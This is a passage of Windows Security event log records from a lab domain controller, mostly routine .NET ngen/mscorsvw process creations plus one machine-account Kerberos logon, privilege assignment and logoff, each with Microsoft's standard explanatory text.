Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 574 -Pipe 5e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254985 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b8 -InterruptEvent 0 -NGENProcess 5b4 -Pipe 534 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254998 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x2369C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254997 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x2369C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62531 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254996 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x2369C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254995 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 404 -Pipe 5e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 5b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5fc -InterruptEvent 0 -NGENProcess 5bc -Pipe 608 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254992 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 60c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 5e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 620 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254999 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 604 -Pipe 528 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255001 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f0 -InterruptEvent 0 -NGENProcess 464 -Pipe 5c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255000 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 60c -InterruptEvent 0 -NGENProcess 628 -Pipe 63c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 614 -InterruptEvent 0 -NGENProcess 628 -Pipe 62c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255005 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 628 -Pipe 5f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255004 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 5bc -Pipe 604 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255003 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 560 -Pipe 634 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255002 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x128c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 628 -InterruptEvent 0 -NGENProcess 5b4 -Pipe 60c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255010 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 61c -Pipe 5f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255009 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 61c -InterruptEvent 0 -NGENProcess 560 -Pipe 628 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 